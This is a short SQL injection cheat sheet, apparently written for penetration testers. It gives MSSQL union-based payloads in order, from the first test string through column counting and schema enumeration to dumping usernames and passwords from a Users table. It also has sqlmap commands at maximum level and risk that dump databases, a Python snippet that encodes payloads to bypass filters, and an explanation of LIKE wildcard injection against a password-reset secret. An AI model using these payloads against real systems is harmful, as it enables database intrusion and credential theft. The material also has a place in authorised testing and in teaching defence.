SQL Injection
MSQL
Test
' or 1=1-- -
Identify number columns
Increase from 1 (column)
' order by 1-- -
Until error or different content ' order by 7-- -
Confirm number columns
' union select 1,2,@@VERSION,DB_NAME(),5,6-- -
Get tables
' union select 1,2,table_name,4,5,6 FROM INFORMATION_SCHEMA.TABLES-- -
Get columns from table Users
' union select 1,2,name,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name = 'Users')-- -
Dump data from table Users
' union select 1,2,username,password,4,5 FROM Users-- -
SQLMAP
Use file
sqlmap -r file.txt --batch --level 5 --risk 3
Post request
sqlmap -u 'https://website/page.php' -X POST --data 'action=edit&id=3' --cookie="abcdefg12345" --batch --dump --level 5 --risk 3
Bypass
Encoding payload using utf-16
user_input = input('> ').strip()
utf = [f"\\u00{ord(i):02x}" for i in user_input]
print(''.join(utf))
SQL "LIKE" Wildcard Injection
This vulnerability, often overlooked and considered low risk, can have significant impacts in certain scenarios. It involves injecting a wildcard in the search field of a LIKE clause in a SQL statement.
Types of Wildcards
-
%: Equivalent to any string of zero or more characters. -
_: Equivalent to any single character.
Vulnerability
An application becomes vulnerable when it uses the LIKE operator with a user-received parameter without filtering these wildcards. For example:
SELECT text FROM table WHERE secrets LIKE '$secret'
Even if the $secret parameter is sanitized to prevent SQL injection, wildcards can still be injected:
http://www.vulnerable.com/reset.php?secret=<guessed_chars>_____________
"_" are the chars that match the wildcard